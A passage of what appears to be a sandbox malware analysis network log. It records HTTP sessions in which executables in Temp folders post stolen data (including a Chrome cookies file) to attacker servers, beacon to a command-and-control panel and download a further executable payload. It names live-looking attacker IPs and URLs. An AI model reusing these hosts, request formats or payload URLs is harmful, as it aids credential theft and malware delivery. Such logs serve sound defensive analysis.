Nov 21, 2024 03:09:57.235142946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:57.235162973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:57.235174894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:57.235187054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:57.235198975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:57.235210896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:57.235327005 CET	1236	IN	Data Raw: c1 95 bb c5 79 74 bd 0a e2 61 bb 82 f6 17 1a f5 c2 30 14 e5 83 ce 00 25 2e a7 e2 03 ac 2e 71 1a 1a 19 67 69 a8 8c 34 a5 ae e4 fa fa 97 d2 ae 05 d3 aa de f4 0f 9b 9f 40 e1 cc b9 3e d1 a2 63 17 d7 93 ce c4 79 a0 ca dc 7d b7 db 3a f3 b1 b9 95 1f fc Data Ascii: yta0%..qgi4@>cy}:WLzS^ l,b&-^<R{0U?Zik@SAX.#pw-I%'b0YTxB%
Nov 21, 2024 03:09:57.235340118 CET	1236	IN	Data Raw: 4d 98 c4 da b5 98 d8 e6 c2 01 5c fb f8 b9 c2 73 24 c1 ce fe 71 ce e0 e3 33 20 f7 ca d5 59 c7 c5 23 c1 08 e5 c1 79 0b c8 ca 0e 4b 43 d6 98 04 c5 23 75 c3 b2 71 5d 13 f9 87 34 2d bf 1d b9 20 1c 73 bc 68 9f f8 15 b2 4c d6 19 cf c5 63 ac 48 93 6b 51 Data Ascii: M\s$q3 Y#yKC#uq]4- shLcHkQ?SX8P=!\EBMjNrR Z$y:{>KMCaz3G>JUXfX9!0lY,Rhyzl=a
Nov 21, 2024 03:09:57.235352039 CET	1236	IN	Data Raw: 1a b3 cb cb 6f d1 c4 17 12 80 73 c5 ce fd b4 79 e5 0e c7 b2 25 a8 f8 2b fa 6f f4 a3 84 f1 2a 29 80 c0 f2 b5 e7 14 e5 09 54 72 aa 18 43 ab 07 5c 14 99 28 d5 f5 7e 36 a7 d3 09 23 a7 80 6e 13 a0 6b a8 10 f4 d1 72 17 ce ea e3 67 c6 5d 48 ee 96 a6 ff Data Ascii: osy%+o*)TrC\(~6#nkrg]HmerAkUZ"'_@+rX<MNlk{^~v2K?vgj;R>rS E}~)KT!ejxBohm
Nov 21, 2024 03:09:57.354970932 CET	1236	IN	Data Raw: de 60 9e 2f 4c ad a1 1e 47 31 ba 09 00 0d e7 e5 f7 a8 b2 85 f7 ad 04 13 f4 c3 90 ab fa a0 9d f6 f7 9d 1a d1 20 ac 56 58 77 f4 a0 bc 14 de c2 73 23 d7 2b ca 1a 7b db 02 23 0b b7 d9 7d 6c 0f d1 ed 7a 1d c8 87 6e 06 34 a4 b8 bd 55 b4 82 14 88 83 f1 Data Ascii: `/LG1 VXws#+{#}lzn4U\5$@gwDU?n2_BaR`'2nT\n:b]fbP=xDV@kT7Q(a-W/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49957	34.116.198.130	80	1272	C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:00.701205969 CET	10164	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 9984 Content-Type: multipart/form-data; boundary=------------------------TCTxbcwJL1oKP87DNX2Wjc Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 54 43 54 78 62 63 77 4a 4c 31 6f 4b 50 38 37 44 4e 58 32 57 6a 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 78 75 7a 6f 6e 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 87 d4 ff 3d 94 79 92 e3 a6 96 e3 22 e7 1b cc 3c 4c 5d 85 78 f7 ac 0e 28 92 cc 92 f0 b0 9d a0 e4 52 df 10 5a cc 1a 1e ed 3b 30 83 48 d6 94 6a e3 42 7a 2f 71 93 28 95 6a 1e 88 70 6e f2 67 34 8b d1 6c d8 0c 63 3b 37 f2 14 b8 e3 2c 1a 25 b4 6e 30 49 05 80 92 0e b7 22 e1 86 77 07 b4 2b ce 81 e1 44 2a fa 70 94 65 84 2a 1b b5 c4 62 7e a0 bf e4 16 2f 8f 1c 3e 04 56 40 8e 94 de 7e c3 91 aa 8e 0b 40 1b 8f 04 f2 0a c4 5a 44 4a 5b d8 40 56 75 5e 9e 52 5e b7 6e 0d 24 89 71 30 01 14 9f 1a b6 ac b7 2b bb 48 2e 70 57 8f 27 22 cc f0 21 4c [TRUNCATED] Data Ascii: --------------------------TCTxbcwJL1oKP87DNX2WjcContent-Disposition: form-data; name="file"; filename="Noxuzoni.bin"Content-Type: application/octet-stream=y"<L]x(RZ;0HjBz/q(jpng4lc;7,%n0I"w+Dpeb~/>V@~@ZDJ[@Vu^R^n$q0+H.pW'"!LO$gKH9Y9'SiF_{J_;?+Q$(;U4\|-.Wf4Xn{\!"!R"g].\|{$;WU7[kYTQ4_DCQ2za_nyuyUN#IO.=>:t$:_W$g-\W".wqoFcm .h+(srBl[tXe,II<OyrB(r6B\xYkw%Mj:_rs:Ehkaf]CkG0Wj)$"cjP5T8h\yp`-!I]SSuhw$0a\\|~axlx"DkfzO>2#^IjyJxUutH:d&b!;Uej;1'\|y/$ DHn>{7*}U9-wo>}> [TRUNCATED]
Nov 21, 2024 03:10:02.173820972 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 02:10:01 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49976	185.215.113.206	80	4612	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:04.196007967 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCGIJKJJKEBGHJKFIDGC--
Nov 21, 2024 03:10:06.108746052 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:10:06.614590883 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="file"------BFBGCFCFHCFHIECAEHDH--
Nov 21, 2024 03:10:07.617728949 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49980	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:05.353421926 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007824001&unit=246122658369
Nov 21, 2024 03:10:06.731559992 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49997	34.107.221.82	80	6168	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:08.140676975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:09.225742102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 30972 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:19.304439068 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49999	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:08.486444950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:09.886003017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50010	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:11.601033926 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:12.990686893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50027	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:15.256823063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:16.487481117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50035	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:18.129770994 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:19.499295950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50039	185.215.113.16	80	1984	C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:18.608741045 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 21, 2024 03:10:19.912658930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:19 GMT Content-Type: application/octet-stream Content-Length: 2813440 Last-Modified: Thu, 21 Nov 2024 02:00:57 GMT Connection: keep-alive ETag: "673e9459-2aee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 d1 63 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +c+`Ui` @ @.rsrc`2@.idata 8@dgdiyami*:@siwuhmix @+@.taggant@`+"*@
Nov 21, 2024 03:10:19.912738085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:19.912767887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:19.912789106 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:19.912810087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:19.912842989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:19.912862062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:19.912880898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:19.912941933 CET	1236	IN	Data Raw: e6 34 bb 01 23 0f 9d 87 dc ad 22 3f f3 a2 c3 56 38 0f 98 a7 bc be 09 87 dc ad 22 b1 ed a6 c3 86 33 0f be 05 cd e2 46 0f fe 66 a5 9e 93 b5 25 e5 f2 aa 10 88 4c 0f 4e 0f 9a 00 b8 d7 54 a1 6c d4 fb 4c a1 06 13 b9 21 5f d3 c8 bb 5c 2e ac 46 8b 7d 0e Data Ascii: 4#"?V8"3Ff%LNTlL!_\.F}=OfZ^p01^'T.#!@Ueh</c5sG`Y&Rd''h}Rb?Ex4-6QJd6<"8
Nov 21, 2024 03:10:19.912962914 CET	1236	IN	Data Raw: a5 a4 9d e2 ee b6 f0 0f 66 56 af f8 85 55 39 23 56 60 e9 18 5e 50 d3 d2 24 5d b2 37 eb ee e2 68 f6 04 96 97 de 7c fb 70 e3 92 71 f7 d8 81 da d9 4d 30 e4 4d 35 31 d9 d7 0d 0d 49 00 ec 58 47 7d 10 05 af cd eb 19 e7 93 af d2 ca 54 45 92 e4 05 1f 05 Data Ascii: fVU9#V`^P$]7h\|pqM0M51IXG}TE{^'cd-gg)TbNvgl_,=Tt8l:lp2x~k'`N]4l}p'"Jy[tf_;u(
Nov 21, 2024 03:10:20.032953024 CET	1236	IN	Data Raw: 1d 18 c8 9d 63 b8 6b f5 27 78 ce e2 36 98 02 04 3e 45 50 a9 2d 94 18 20 24 7f bf 97 0f 58 c5 a7 e7 7d ef 10 81 5c 76 44 db 63 d3 ec 34 4f 22 43 22 ae 1b 27 1c 69 f0 4f d5 cc df 4c 6b e7 36 ee 43 d9 7b 65 84 43 79 20 63 1c e8 25 23 70 42 1b 19 5c Data Ascii: ck'x6>EP- $X}\vDc4O"C"'iOLk6C{eCy c%#pB\"$`F"^0TgWuHoCQvcelXg-<$`t6=PyS$,5{[Ao=?2J\ Y_<0_Fk%2U<&/x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50056	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:22.862397909 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 